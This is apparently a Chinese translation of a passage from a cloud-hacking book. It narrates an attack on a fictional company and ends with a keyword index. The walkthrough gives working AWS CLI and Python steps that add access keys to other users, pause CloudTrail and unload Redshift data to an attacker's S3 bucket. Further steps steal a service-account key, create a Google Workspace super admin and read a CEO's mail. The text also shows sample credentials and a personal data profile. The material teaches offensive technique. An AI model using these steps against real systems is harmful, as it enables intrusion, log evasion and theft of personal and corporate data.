root@Point1:~/# aws iam create-access-key --user-name camellia
{
    "AccessKey": {
        "UserName": "camellia",
        "AccessKeyId": "AKIA44ZRK6WSS2RB4CUX",
        "SecretAccessKey": "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",
        "CreateDate": "2019-12-21T18:20:04Z"
    }
}

三十分钟后,我们清理了 EC2 实例并重新启用了 CloudTrail 多区域日志记录:

root@Point1:~/# aws cloudtrail update-trail \
**--name aggregated \**
**--include-global-service-events \**
**--is-multi-region**

终于!我们获得了稳定的管理员访问权限,进入了 GP 的 AWS 账户。

渗透 Redshift

现在我们已经获得了 GP 的 AWS 账户访问权限,让我们探索它的 Redshift 集群(见 Listing 12-10)。毕竟,这就是我们接管该账户的主要动机。

root@Point1:~/# aws redshift describe-clusters
"Clusters": 
1 ClusterIdentifier: bi,
    NodeType: ra3.16xlarge, NumberOfNodes: 10,
    "DBName": "datalake"
`--snip--`

ClusterIdentifier: sandbox
    NodeType: dc2.large,  NumberOfNodes: 2,
    "DBName": "datalake"
`--snip--`

ClusterIdentifier: reporting
    NodeType: dc2.8xlarge, NumberOfNodes: 16,
    "DBName": "datalake"
`--snip--`

ClusterIdentifier: finance, NodeType: dc2.8xlarge
    NumberOfNodes: 24,
    "DBName": "datalake"
`--snip--`

Listing 12-10: 列出 Redshift 集群

我们在 Redshift 上运行了一些集群,里面有有价值的信息。Redshift 是一个不错的选择。你不会仅仅为了随便测试而创建一个支持每个节点 2.5TB 的 ra3.16xlarge 集群 1。这个集群每天的费用肯定超过$3,000,这也让探索它变得更加诱人。金融集群也可能包含一些有趣的数据。

让我们聚焦于[Listing 12-10 中 bi 集群的信息。当集群启动时创建的初始数据库叫做datalake。管理员用户是传统的 root 用户。集群可通过地址bi.cae0svj50m2p.eu-west-1.redshift.amazonaws.com在 5439 端口访问:

Clusters: [
ClusterIdentifier: sandbox-test,
NodeType: ra3.16xlarge,
MasterUsername: root
DBName: datalake,
Endpoint: {
  Address: bi.cdc3ssq81c3x.eu-west-1.redshift.amazonaws.com,
  Port: 5439
}
VpcSecurityGroupId: sg-9f3a64e4, sg-a53f61de, sg-042c4a3f80a7e262c
`--snip--`

我们查看安全组,以便检查是否有过滤规则阻止直接连接到数据库:

root@Point1:~/# aws ec2 describe-security-groups \
**--group-ids sg-9f3a64e4 sg-a53f61de**

"IpPermissions": [ {
  "ToPort": 5439,
  "IpProtocol": "tcp",
  "IpRanges": [
       { "CidrIp": "52.210.98.176/32" },
       { "CidrIp": "32.29.54.20/32" },
       { "CidrIp": "10.0.0.0/8" },
       { "CidrIp": "0.0.0.0/0" },

我最喜欢的 IP 范围:0.0.0.0/0。这种未过滤的 IP 范围可能仅仅是用于测试新的 SaaS 集成或运行一些查询时临时赋予的访问权限……但现在我们已经进入了。公平地说,既然我们已经能够访问 GP 的网络,这对我们来说并不重要。损害已经发生。

Redshift 与 IAM 服务紧密结合,我们不需要去寻找数据库的凭证。由于我们在 rundeck 角色上有一个漂亮的redshift:*权限,我们只需为任何数据库用户账户(包括 root)创建一个临时密码:

root@Point1:~/# aws get-cluster-credentials \
**--db-user root \**
**--db-name datalake\**
**--cluster-identifier bi \**
**--duration-seconds 3600**

"DbUser": "IAM:root",
"DbPassword": "AskFx8eXi0nlkMLKIxPHkvWfX0FSSeWm5gAheaQYhTCokEe",
"Expiration": "2020-12-29T11:32:25.755Z"

使用这些数据库凭证,我们只需下载 PostgreSQL 客户端并将其指向 Redshift 端点:

root@Point1:~/# apt install postgresql postgresql-contrib
root@Point1:~/# PGPASSWORD='AskFx8eXi0nlkMLKIx...' \
**psql \**
**-h bi.cdc3ssq81c3x.eu-west-1.redshift.amazonaws.com \**
**-U root \**
**-d datalake \**
**-p 5439**
**-c "SELECT tablename, columnname  FROM PG_TABLE_DEF where schemaname \**
**='public'" > list_tables_columns.txt**

我们导出了包含表和列的全面列表(存储在PG_TABLE_DEF表中),并迅速锁定了有趣的数据:

root@Point1:~/# cat list_tables_columns.txt
profile, id
profile, name
profile, lastname
profile, social_id
`--snip--`
social, id
social, link
social, fb_likes
social, fb_interest
`--snip--`
taxonomy, segment_name
taxonomy, id
taxonomy, reach
taxonomy, provider
`--snip--`
interestgraph, id
interestgraph, influence_axis
interestgraph, action_axis
`--snip--`

没有什么比得上一款老式的 SQL 数据库,能让我们随心所欲地查询和连接数据!这个 Redshift 集群几乎是 Gretsch Politico 基础设施中所有数据输入的交汇点。

我们找到了与 MXR 广告的表现以及它对人们在线行为影响相关的数据。我们有他们的完整在线活动,包括他们访问的每个有与 GP 相关的 JavaScript 标签的网站的列表,甚至还有那些天真到愿意与 GP 隐藏合作伙伴共享这些数据的人的社交媒体档案。然后,当然,我们也有从数据提供商那里购买的经典数据分段,以及他们所称的“相似用户群体”——即,A 人群的兴趣投射到 B 人群上,因为他们有一些共同的特征,比如使用的设备、行为等等。

我们尝试构建一个 SQL 查询,将大部分数据汇总到一个输出中,以便更清晰地可视化当前的情况:

SELECT p.gp_id, p.name, p.lastname, p.deviceType, p.last_loc,
LISTAGG(a.referer), s.link, LISTAGG(s.fb_interest),
LISTAGG(t.segment_name),
i.action_y, i.influence_x, i.impulse_z

FROM profile p
JOIN ads a on p.ads_id = a.id
JOIN social s on p.social_id= s.id
JOIN taxonomy t on p.segment_id = t.id
JOIN interestgraph i on p.graph_id = i.id
GROUP BY p.gp_id
LIMIT 2000

请鼓声雷动,准备好了吗?开始!这是一个客户,弗朗西斯·迪马(Francis Dima):

p.gp_id:     d41d8cd98f00b204e9800998ecf8427e
p.name:       Dima
p.lastname:   Francis
p.deviceType: iphone X
p.last_loc_x: 50.06.16.3.N
p.last_loc_y: 8.41.09.3.E
a.referer:    www.okinawa.com/orderMeal,
              transferwise.com/90537e4b29fb87fec18e451...,
              aljazeera.com/news/hong-kong-protest...
s.link:        https://www.facebook.com/dima.realworld.53301
s.fb_interest: rock, metoo, fight4Freedom, legalizeIt...
t.segment_name:politics_leaned_left,
               politics_manigestation_rally,
               health_medecine_average,
               health_chronical_pain,...
i.influence_x: 60
i.action_y:    95
i.impulse_z:   15

`--snip--`

通过聚合几个追踪器,你可以了解到关于人们的许多事情。可怜的迪马(Dima)被绑定到超过 160 个数据段,涵盖从他的政治活动到烹饪习惯和医疗历史的所有信息。我们有他访问过的最后 500 个完整 URL,他最后已知的位置,他的 Facebook 资料,充满了他的兴趣和爱好,最重要的是,一个列出他影响力、冲动和广告互动水平的角色地图。有了这些信息,想想看,GP 要针对这个人——任何人——以影响他们对任何数量的极化话题的看法,以及,嗯,向出价最高者出售民主是多么容易。

财务集群是另一个活生生的黄金国。不仅仅是交易数据,它包含了所有可能的每个客户的信息,任何曾对 Gretsch Politico 的服务表现出丝毫兴趣的人,以及他们订购的创意:

c.id:        357
c.name:      IFR
c.address:   Ruysdaelkade 51-HS
c.city:      Amsterdam
c.revenue:   549879.13
c.creatives: s3://Gretsch-studio/IFR/9912575fe6a4av.mp4,...
c.contact:   jan.vanurbin@udrc.com
p.funnels:   mxads, instagram, facebook,...
click_rate:  0.013
real_visit:  0.004
`--snip--`

unload ('<HUGE_SQL_QUERY>') to 's3://data-export-profiles/gp/'

我们将这两个集群完整地导出到我们拥有的 S3 存储桶,并开始准备我们的下一步行动——新闻发布会、电影,或许是一本书。谁知道呢?

资源

第十三章:最终剪辑

回顾我们到目前为止的成就,我们已经成功检索到在 MXR 广告服务器上投放的政治广告,包括预算数据、创意和背后的真实组织。此外,我们还下载了 GP 收集的数亿个个人资料数据,每份资料都像个人日记,可以用来诽谤、勒索或压制即便是最有权势的人。我们还能要求什么更多的东西呢?

好吧,这份奖项列表里少了一样东西:公司邮箱。黑客攻击邮件是如此经典,我无法不在这本书中提及它。

当我们在 Windows Active Directory 中获得域管理员凭证时,邮箱的无限访问权限自然也会随之而来。基础设施和公司目录在 Windows 环境中是紧密绑定的。

AWS 则不同。它从未打算征服企业 IT 市场。这个市场已经被像 Active Directory 和 Google Workspace(前身为 G Suite)等产品占据。

大多数完全依赖 AWS 或 Google Cloud Platform(GCP)来构建和托管其商业产品的科技公司,将会转向 Google Workspace 作为它们的企业目录。你可以讨厌 Google,但 Gmail 仍然是最全面的电子邮件平台。(至少在管理邮件方面是如此。隐私方面的代价或许不值得,但那是另一个话题。)

通常这会导致两个独立的 IT 团队:一个负责交付核心技术产品的基础设施,另一个处理公司 IT 方面的事务(如电子邮件、打印机、工作站、帮助台等)。

快速查看 DNS 邮件交换(MX)记录可以发现,GP 确实在使用企业版 Gmail,因此可能还在使用 Google Workspace 中的其他工具,比如 Drive、Contacts、Hangouts 等(见 Listing 13-1)。

root@Point1:~/# dig +short gretschpolitico.com MX
10 aspmx.l.google.com.
20 alt2.aspmx.l.google.com.
30 aspmx3.googlemail.com.
20 alt1.aspmx.l.google.com.
30 aspmx2.googlemail.com.

Listing 13-1:查找 MX 记录,确认 GP 确实在使用 Google Workspace

在利用和滥用 Google Workspace 方面,文献或脚本并不多,因此让我们自己动手试试。

破解 Google Workspace

我们是 GP 的 AWS 账户管理员,拥有对其所有生产资源的无限访问权限,包括服务器、用户、GitHub 账户等。我们有两个策略可以立即切换到 Google Workspace 环境:

  • 找到一个公司内网应用,将主页替换为一个假的 Google 身份验证页面,窃取凭证后再将用户重定向到真实应用。

  • 在代码库中寻找可能与 Google Workspace 环境交互的应用,并窃取它们的凭证来建立第一个立足点。

第一个选项是一个保证获胜的方法,只要我们能很好地模拟那个 Google 身份验证页面。这种方法风险更大,因为它涉及到用户交互。话说回来,我们已经得到了我们需要的东西,所以即便天塌下来,我们也不在乎。这只是个额外的收获。

另一方面,第二个选项要隐蔽得多,但它假设 IT 部门与我们可以利用的一些基础设施有某种联系,比如 Lambda 函数、IAM 角色、S3 桶、用户——基本上是大海捞针……还是说不是?

现在想想,实际上有一些东西很有可能在 IT 部门和基础设施团队之间共享:GitHub 账户。肯定他们不是为了取悦这两个技术团队而注册了两个账户吧?

让我们加载从 Jenkins 获取的 GitHub 令牌,寻找与 Google Workspace、Gmail、Google Drive 等相关的引用。我们编写了一个简短的 Python 脚本来加载仓库名称:

# list_repos.py
from github import Github
g = Github("8e24ffcc0eeddee673ffa0ce5433ffcee7ace561")
for repo in g.get_user().get_repos():
    print(repo.name, repo.clone_url)

root@Point1:~/# python3 list_repos.py > list_repos_gp.txt
root@Point1:~/# egrep -i "it[-_]|gapps|gsuite|users?" list_repos_gp.txt

it-service     https://github.com/gretschp/it-service.git
1 it-gsuite-apps https://github.com/gretschp/it-gsuite-apps.git
users-sync     https://github.com/gretschp/users-sync
`--snip--`

这是跨领域合作的明显迹象 1。我们克隆了 it-gsuite-apps 的源代码,结果……你猜怎么着?!这是一个用于自动化许多 Google Workspace 管理员操作的应用程序和服务的列表,如用户配置、组织单元(OU)分配、账户终止等:

root@Point1:~/# ls -lh it-gsuite-apps

total 98M
drwxrwxrwx 1 root root   7.9M  provisionner
drwxrwxrwx 1 root root  13.4M  cron-tasks
drwxrwxrwx 1 root root   6.3M  assign-ou
`--snip--`

这些正是我们需要用来控制 Google Workspace 的操作!当然,这个敏感的仓库对普通用户是不可见的,但我猜模拟 Jenkins 也有它的好处。

我们开始梦想拉取 CEO 的电子邮件并揭露这个欺诈业务,但很快意识到,这个仓库中没有一个明文密码。

虽然 AWS 依赖访问密钥来验证用户和角色,但 Google 选择了 OAuth2 协议,需要明确的用户交互。本质上,浏览器会打开,验证用户身份,然后生成一个验证代码,该代码必须粘贴回命令行,以生成临时私钥来调用 Google Workspace API。

机器无法遵循这种认证流程,因此 Google 还提供了服务账户,可以使用私钥进行身份验证。然而,在查看源代码时,我们并没有发现任何关于私钥的线索:

root@Point1:~/it-gsuite-apps/# grep -Ri "BEGIN PRIVATE KEY" *
root@Point1:~/it-gsuite-apps/#

所以,我们深入研究了 it-gsuite-apps 的代码,以了解该应用如何获取 Google Workspace 权限,并发现了列表 13-2 中的代码行。

`--snip--`
getSecret(SERVICE_TOKEN);
`--snip--`
public static void getSecret(String token) {
  String secretName = token;
  String endpoint = "secretsmanager.eu-west-1.amazonaws.com";
  String region = "eu-west-1";

  AwsClientBuilder.EndpointConfiguration config = new AwsClientBuilder.EndpointConfiguration(endpoint, region);
`--snip--`

列表 13-2:从 AWS Secrets Manager 加载服务令牌的代码片段

现在一切都明了。秘密并没有硬编码在应用中,而是通过 AWS 的 Secrets Manager 动态获取的,Secrets Manager 是一个用于集中存储秘密的服务。我们不知道秘密的名称,但幸运的是,我们拥有完整的管理员权限,所以我们可以轻松搜索:

root@Point1:~/# aws secretsmanager list-secrets \
**--region eu-west-1 \**
**--profile rundeck**

"Name": "inf/instance-api/api-token",
"Name": "inf/rundeck/mysql/test_user",
"Name": "inf/rundeck/cleanlog/apikey",
"Name": "inf/openvpn/vpn-employees",
`--snip--`

不幸的是,无论我们怎么 grep,都没有找到任何与 Google Workspace 相关的内容。我们手动检查了每一条记录,以防万一,但残酷的现实悄然降临:IT 部门一定在使用另一个 AWS 账户。这是唯一合理的解释。

不过,别慌张。跳转到 IT AWS 账户不需要像从 MXR Ads 跳转到 GP 时那样复杂的操作。那两家公司是不同(尽管相互关联)的法律实体,它们拥有完全独立的 AWS 账户。然而,IT 部门与常规技术团队一样,属于 GP。最终付账的实体是同一个。

最可能的配置是,GP 创建了一个 AWS 组织,一个可以容纳多个 AWS 账户的实体:一个是技术团队的账户,另一个是 IT 部门的账户,还有一个是测试用的账户,等等。在这种配置下,其中一个 AWS 账户被提升为“主账户”状态。这个特殊账户可以用来将新账户附加到组织中,并应用全局策略,限制每个账户中可用的服务集。

主账户通常不包含任何基础设施,应该——在理想的情况下——将日志聚合、账单报告等管理任务委托给其他账户。我们可以通过调用 list-accounts AWS API,使用我们功能强大的 rundeck 角色(见清单 13-3),轻松确认我们的假设。

root@Point1:~/# aws organizations list-accounts
"Accounts": 
   Id: 983457354409, Name: GP Infra, Email: infra-admin@gre...
   Id: 354899546107, Name: GP Lab, Email: gp-lab@gretschpoli...
 1 Id: 345673068670, Name: GP IT, Email: admin-it@gretschpoli...
`--snip—`

清单 13-3:列出 AWS 账户

看起来不错。我们可以看到管理员账户,正如预期的那样 1。

在创建成员账户时,AWS 会自动分配一个名为 OrganizationAccountAccessRole 的默认角色。这个角色的默认信任策略允许任何管理账户的用户假扮该角色,并能够调用安全令牌服务(STS)assume-role API。让我们看看是否能获取到它的凭证:

root@Point1:~/# aws sts assume-role \
**--role-session-name maintenance \**
**--role-arn arn:aws:iam::345673068670:role/OrganizationAccountAccessRole \**
**--profile rundeck**

An error occurred (AccessDenied) when calling the AssumeRole operation...

真是太可惜了,我们差一点就成功了!如果连 Rundeck 都没有被授权假扮 OrganizationAccountAccessRole,那么要么该角色已经被删除,要么它的信任策略已被限制为仅限少数用户。如果有一个中央系统可以记录所有 AWS 上的 API 请求,那我们就可以查找这些特权用户了……你好,CloudTrail!

滥用 CloudTrail

每当用户或角色扮演某个角色时,该查询会在 CloudTrail 中记录,并且在 GP 的情况下,会被推送到 CloudWatch 和 S3。我们可以利用这个随时监控的系统来筛选出那些被允许跳转到 IT 账户的用户和角色。CloudTrail 的 API 并没有提供很多过滤功能,所以我们将使用 CloudWatch 强大的 filter-log-events 命令。

首先,我们获取聚合 CloudTrail 日志的日志组名称:

root@Point1:~/# aws logs describe-log-groups \
**--region=eu-west-1 \**
**--profile test**
--`snip`--
logGroupName: CloudTrail/DefaultLogGroup
`--snip--`

然后,如[清单 13-4 所示,这只是一个查找 IT 账户标识符 345673068670 出现位置的简单问题,我们从清单 13-3 中得到了这个标识符。

root@Point1**:~/# aws logs filter-log-events \**
**--log-group-name "CloudTrail/DefaultLogGroup" \**
**--filter-pattern "345673068670" \**
**--max-items 10 \**
**--profile rundeck \**
**--region eu-west-1 \**
**| jq ".events[].message" \**
**| sed 's/\\//g'**

"userIdentity": {
    "type": "IAMUser",
    "arn": "arn:aws:iam:: 983457354409:user/elis.skyler",
    "accountId": "983457354409",
    "accessKeyId": "AKIA44ZRK6WS4G7MGL6W",
  1   "userName": "elis.skyler"
},
"requestParameters": {
     "roleArn": "arn:aws:iam::345673068670:role/OrganizationAccountAccessRole",
    "responseElements": {"credentials": {
`--snip--`

清单 13-4:CloudTrail 事件显示 elis.skyler 在 IT 账户内假扮角色

看起来elis.skyler 1 几小时前假扮了 OrganizationAccountAccessRole。是时候为这个账户添加一个额外的访问密钥,让我们可以自己假扮该角色了。当然,在这个操作过程中,我们将暂时关闭 CloudTrail,但我会省略代码,因为你已经在第十一章了解了这种技术:

root@Point1:~/# aws iam create-access-key \
**--user-name elis.skyler \**
**--profile rundeck**

AccessKey: {
    UserName: elis.skyler,
    AccessKeyId: AKIA44ZRK6WSRDLX7TDS,
    SecretAccessKey: 564//eyApoe96Dkv0DEdgAwroelak78eghk

使用这些新的凭据,我们请求属于 OrganizationAccountAccessRole 的临时 AWS 密钥:

root@Point1:~/# aws sts assume-role \
**--role-session-name maintenance \**
**--role-arn arn:aws:iam::345673068670:role/OrganizationAccountAccessRole \**
**--profile elis \**
**--duration-seconds 43 200**

AccessKeyId: ASIAU6EUDNIZIADAP6BQ,
SecretAccessKey: xn37rimJEAppjDicZZP19h0hLuT02P06SXZxeHbk,
SessionToken: FwoGZXIvYXdzEGwa...

其实并没有那么难。好了,让我们使用这些访问凭据在这个新账户中查找 AWS Secrets Manager:

root@Point1:~/# aws secretsmanager list-secrets \
**--region eu-west-1 \**
**--profile it-role**

ARN: arn:aws:secretsmanager:eu-west-1: 345673068670:secret:it/
gsuite-apps/user-provisionning-4OYxPA

Name: it/gsuite-apps/user-provisioning,
`--snip--`

太棒了。我们获取密钥内容并解码,以检索用于验证 Google 服务账户的 JSON 文件(参见列表 13-5)。

root@Point1:~/# aws secretsmanager get-secret-value \
**--secret-id 'arn:aws:secretsmanager:eu-west-1:345673068670:secret:it/ \**
**gsuite-apps/user-provisionning-4OYxPA' \**
**--region=eu-west-1 \**
**--profile it-role \**
**| jq -r .SecretString | base64 -d**

{
    "type": "service_account",
    "project_id": "gp-gsuite-262115",
    "private_key_id": "05a85fd168856773743ed7ccf8828a522a00fc8f",
    "private_key": "-----BEGIN PRIVATE KEY-----... ",
    "client_email": "userprovisionning@gp-gsuite-262115.iam.gserviceaccount.com",
    "client_id": "100598087991069411291",
`--snip--`

列表 13-5:获取 GCP 服务账户密钥

服务账户名为userprovisionning@gp-gsuite-262115.iam.gserviceaccount.com,并附加到 Google Cloud 项目 gp-gsuite-262115 上。请注意,这不是 Google Workspace,而是 Google Cloud。由于 Google Workspace 不处理服务令牌,任何希望自动化 Google Workspace 管理的人都必须在 Google Cloud 上创建服务令牌,然后在 Google Workspace 中为该账户分配作用域和权限。事情已经够复杂了!

我们已经知道该服务令牌拥有创建用户所需的权限,那么让我们来为自己创建一个 Google Workspace 的超级管理员账户吧。

创建一个 Google Workspace 超级管理员账户

你可以在本书的 GitHub 仓库中找到完整的 Python 代码,文件名为create_user.py,我将在这里仅突出关键点。

首先,我们需要声明我们的账户在 Google Workspace 上执行操作的范围。由于我们将创建一个新账户,我们需要使用admin.directory.user作用域。接下来,我们提供服务令牌文件的位置以及我们将假扮的用户的电子邮件,以执行我们的操作:

SCOPES =['https://www.googleapis.com/auth/admin.directory.user']
SERVICE_ACCOUNT_FILE = 'token.json'
USER_EMAIL = "admin-it@gretschpolitico.com"

在 Google 的安全模型中,服务账户不能直接操作用户账户;它需要首先通过域范围委托权限来假扮一个真实用户,这些权限是在服务账户的属性中配置的。然后,操作会以假扮的用户权限执行,因此我们最好找一个超级管理员来假扮。

没问题。我们尝试输入在列表 13-3 中枚举现有 AWS 账户时找到的 AWS GP IT 账户所有者的电子邮件:admin-it@gretschpolitico.com

接下来是构建 Google Workspace 客户端并假扮 IT 管理员的标准 Python 代码:

credentials = (service_account.Credentials.
                from_service_account_file(SERVICE_ACCOUNT_FILE, scopes=SCOPES))

delegated_credentials = credentials.with_subject(USER_EMAIL)
service = discovery.build('admin', 'directory_v1', credentials=delegated_credentials)

我们构建一个包含所需用户属性(如姓名、密码等)的字典,然后执行查询:

user = {"name": {"familyName": "Burton", "givenName": "Haniel",},
        "password": "Strong45Password*", "primaryEmail": "hanielle@gretschpolitico.com",
        "orgUnitPath": "/" }

result = service.users().insert(body=user).execute()

最后一步是使我们的用户成为整个组织的超级管理员:

service.users().makeAdmin(userKey="hanielle@gretschpolitico.com",
                          body={"status": True}).execute()

现在我们只需运行文件:

root@Point1:~/# python create_user.py

没有错误。真的成功了吗?我们打开浏览器,访问 Google Workspace 管理员控制台,admin.google.com/,如图 13-1 所示。

f13001

图 13-1:访问我们新创建的 Google Workspace 账户

它真行!我们刚刚成功获得了 GP 公司目录的管理员权限。现在没有什么是无法触及的了:Gmail、Google Drive,随便说。

偷窥一眼

为了保持低调,我们将避免使用 Google Workspace 的导出功能和数据迁移工具。Google 会在任何人触发这些任务时自动提醒其他管理员。我们将继续像之前那样仅通过 API 调用与 Google Workspace 进行交互。我们只需要升级从 Secrets Manager 中获取的用户供应服务账户的范围,加入 Gmail 和 Google Drive 访问权限。

在 Google Workspace 管理员控制台中,我们导航到安全性高级设置管理 API 访问面板,并在一个或多个 API 范围字段中输入以下两个范围,如图 13-2 所示:

客户端名称字段中,我们输入服务账户的名称userprovisionning@gp-gsuite-262115.iam.gserviceaccount.com,它会被转换为一个唯一的 ID。

f13002

图 13-2:Google Workspace 管理员面板更新 API 范围

与 Google 以往著名的直观面板不同,这个管理员面板特别糟糕。你不能只是附加范围,因为它们会覆盖旧的范围。你需要输入分配给服务账户的所有范围(包括旧的和新的)。

我们创建了一个新的gmail.py Python 脚本,使用之前创建用户时的相同模板代码,只是做了一些更改:

USER_EMAIL = 'alexandra.styx@gretschpolitico.com'
service = discovery.build(1'gmail', 'v1', credentials=delegated_credentials)
2 results = service.users().messages().list(
                    userId=USER_EMAIL,
                    labelIds = ['INBOX']).execute()

messages = results.get('messages', [])

我们更新了范围,包含了 Gmail 1,然后调用users().messages() API 2 来检索 CEO 的电子邮件,CEO 的名字我们愉快地从 LinkedIn 上获取。

然后,只需遍历邮件,提取主题、发件人、收件人和邮件正文。查看完整代码:github.com/HackLikeAPornstar/GreschPolitico。我们运行完整的 Python 脚本,悠闲地浏览邮件:

root@Point1:~/# python gmail.py
alexandra.styx@gretschpolitico.com;
valery.attenbourough@gretschpolitico.com;
Sun, 15 Dec 2020;
Secured the party’s contract – $2M!

We just closed the contract today! We can start targeting PA undecided voters tomorrow!

---

alexandra.styx@gretschpolitico.com;
adam.sparrow@gretschpolitico.com;
Sun, 12 Dec 2020;
We need to go after his public image

Can't we make up a story? Send some girls, champagne and kickstart it
that way? We have the creatives ready, we need to get moving!!!

尊敬的各位,欢迎欣赏 Gretsch Politico 的全貌!是时候揭开它的秘密了。

结束语

哇,我们终于到了最后。这是一段充满许多深奥技术和新范式的紧张旅程。云计算的普及可能是过去十年里最具颠覆性的事件之一。尽管许多科技公司和初创企业已经完全拥抱云计算,我觉得安全社区仍然滞后。

我阅读的每一篇关于横向渗透、C2 通信等的文章,几乎都只涉及 Active Directory——仿佛这是唯一可能的配置,仿佛最有价值的数据一定存储在 Windows 共享或 SQL 服务器上。这显然对于银行和航空公司(谁需要主机系统?)并不成立。事实上,正如我们在这个场景中看到的,越来越多的科技公司正在远离 Windows 环境。

也许这是由只与老旧企业合作的咨询公司所引入的偏见,这些企业依然深陷于 Active Directory。也许是市场上 Windows CVE(常见漏洞和暴露)数量的影响。可能是两者的结合。

无论如何,我希望本书中的众多示例至少传递了一个信息:安全是关于彻底理解一项技术,提出问题,并将其解构,直到它变得有意义。你挖得越深,之后玩弄它就越容易。

我们编写了大量定制代码,以绕过检测服务或简单地规避繁琐的网络限制。下载代码库,玩一玩,试试它在免费的 AWS 账户上,扩展到新的领域。这是通向成功的唯一可靠道路。

祝你黑客愉快!

资源

第十四章:关键词索引

请注意,索引链接指向每个术语的大致位置。

数字

169.254.169.254, 71

A

访问分析器, 188

AccessKeyId, 79

访问密钥, 180

ActiveX, 15

Aircrack, 6

AirVPN, 5

Akamai, 60

Alpine, 155

Amass, 55

亚马逊资源名称, 74

AMI, 35

AMI ID, 74

AMSI, 12

Ansible, 23, 174

Apache, 23

Apache Spark, 203

API, 132

API 服务器, 123

应用负载均衡器, 62

ARN, 74

汇编语言, 18

攻击基础设施, 8

攻击基础设施, 21

AWS, 7, 23, 33, 57, 73, 94, 125, 149, 168

AWS 访问密钥, 212

AWS 访问密钥, 150

AWS ALB, 62

AWS 凭证, 80

AWS ECR, 201

AWS IAM, 80, 134

AWS KMS, 176

AWS Lambda, 170

AWS 组织, 229

AWS S3, 61

AWS WAF, 62

B

后门, 97

Base64, 77

二进制植入, 154

绑定, 122

Bitbucket, 50

比特币, 7

Biznar, 47

蓝队, 3

Boo-Lang, 17

跳跃服务器, 7

存储桶, 170

bug 奖金, 60

Burp, 70, 88

Burp Suite, 68

C

缓存中毒, 143

能力, 103

capture-the-flag (CTF), 60

Cassandra, 77

CDN, 60

Censys, 53

Certbot, 23

证书日志, 53

cgroup, 30, 102

Chef, 23, 174, 178

Chromebook, 6

CI/CD, 173

CloudBunny, 61

cloud-config, 75

云环境, 60

cloud-init, 38, 75

云服务提供商, 33

CloudTrail, 189, 219, 229

CloudTrail Insights, 188

CloudWatch, 81, 190, 194, 230

集群 IP, 116

CNAME, 61

Cobalt Strike, 12

命令与控制 (C2), 4, 8, 11

容器, 23

容器化, 24

内容分发网络 (CDN), 60

控制组, 30

控制平面, 125

食谱, 175

CoreOS, 75

Covenant C2, 16

CPM, 48

cron 任务, 160

跨站脚本, 60

D

DaemonSet, 158

数据湖, 215

数据平面, 125

DEF CON, 15

需求方平台, 139

部署, 112

部署控制器, 118

反序列化, 141

期望状态, 109

DevOps, 9, 107, 129, 173, 175

DHCP, 71

Digital Ocean, 23

有向无环图 (DAG), 208

Django, 91, 93

DKIM, 32

DNS, 226

DNS 穷举器, 55

Docker, 8, 23, 75, 102, 200

docker0, 27

Docker API, 162

Dockerfile, 155

Docker Hub, 28, 158

Docker-in-Docker, 201

docker.sock, 105

Docker 套接字, 105

域名方平台 (DSP), 139

域, 32

域范围委派, 232

E

EC2, 34, 79, 144, 171, 203, 217

ECR, 158, 201

EDR, 16

Edward Snowden, 6

EKS, 125, 133, 144, 168

弹性容器注册表, 201

弹性 Kubernetes 服务, 125

Elasticsearch, 129

ELF, 156

电子邮件, 227

Empire 框架, 12

etcd, 118, 125

eth0, 27

F

Fernmelder, 55

flatMap, 206

G

GCP, 228

Gist, 52

Git, 51

GitHub, 49, 203, 227

GitLeaks, 51

Gmail, 233

Golang, 13, 98

Google, 46

Google Workspace, 52, 226

goroutine, 99

GP, 46

Gretsch Politico, 45

G Suite, 52

GuardDuty, 81, 189

H

hacking infrastructure, 4

Hashcat, 6

helm, 150

HTTP/2, 13

I

IAM, 34, 94, 168, 181, 188, 192, 216

IAM Access Analyzer, 188

IAM access keys, 133

IAM policies, 82

IAM role, 79, 133, 144

IAM roles, 210

IETF, 71

image layer, 29

IMDSv1, 78

Infrastructure as code, 33

Internet Engineering Task Force, 71

iptables, 116

IronPython. . . OMFG, 17

J

JAR, 205

Java 虚拟机, 204

Jenkins, 173, 201

Jinja2, 91

John Lambert, 129

JSON Web Token, 134

JupyterLab, 211

JVM, 204

JWT, 124, 136, 147

K

Kali, 23

Kerberoasting, 80

kernel, 23

KMS, 180

Koadic, 15

Kube, 108, 123, 131

Kubectl, 110

kubelet, 119

kube-proxy, 116

Kubernetes, 107, 121, 136, 144, 156

kube-scheduler, 117

L

Lambda, 170, 181, 193

Let’s Encrypt, 23, 31

LinkFinder, 87

link-local addressing, 71

Linux, 25

Linux capabilities, 103

M

Mahmud Ridwan, 25

manifest 文件, 109, 127

map, 206

Marcello Salvati, 17

Masscan, 56

memfd, 156

Merlin, 13

元数据, 4

, 73

元数据 API, 78

Metasploit, 11, 23, 156, 205, 210

meterpreter, 11, 156

Mimikatz, 16

Minikube, 109

MSBuild, 18

msfconsole, 26

mshta, 15

多区域, 195

MXR 广告, 48

N

命名空间, 24, 124

命名空间隔离, 102

NayuOS, 6

网络地址转换 (NAT), 113

网络桥接, 27

Nginx, 22, 31

Nmap, 56

节点, 111

节点授权, 148

NodePort, 115

O

OpenAPI, 122, 125

OpenID, 134

OpSec, 4

OrganizationAccountAccessRole, 231

OWASP, 55, 68

P

Parquet, 214

分区, 206

被动侦察, 53

PassRole, 217

Patrik Hudak, 64

暂停容器, 111, 162

PDF, 46

渗透测试人员, 3

持久性, 153

phocean, 26

pod, 109, 155

PostgreSQL, 215, 222

PowerPoint, 46

PowerShell, 12

特权模式, 102

ProtonVPN, 5

Python, 17, 28

R

RBAC, 122

RDD, 206

RDS, 137

侦察, 56

Redis, 129, 140

Redshift, 215

红队人员, 3

反射, 92

注册声明, 124

regsvr32, 15

ReplicaSet, 118

弹性分布式数据集, 206

资源, 35

REST, 98

反向 shell, 11

基于角色的访问, 122

rootkit, 154

RTB, 139

Ruby, 23, 174

runC, 25

S

S3, 62, 82, 95, 132, 156, 204, 211

S3 存储桶, 63, 95

s3fs, 211

S3 VPC 终端, 96

Secrets Manager, 228

安全组, 36, 74, 95, 221

无服务器, 170

服务器端请求伪造, 73

服务器端模板注入, 89

服务, 113

SES, 94

shhgit, 50

SILENTTRINITY, 17

SlideShare, 46

SOCKS, 68

Spot 实例, 153

SQL, 215, 223

SQL 注入, 60

SSH 密钥, 36

SSL, 31

SSP, 129, 139

SSRF, 73

SSTI, 89

阶段器, 11, 15

STS, 146, 171

子域名接管, 64

sublist3r, 54

subprocess.Popen, 93

供应方平台, 139

surveysandstats.com, 88

系统调用, 156

sysctl, 103

T

Tails, 6

Terraform, 8, 33, 135, 190

Tor, 5

truffleHog, 51

信任策略, 183

Twitter, 47

U

Ubuntu, 35

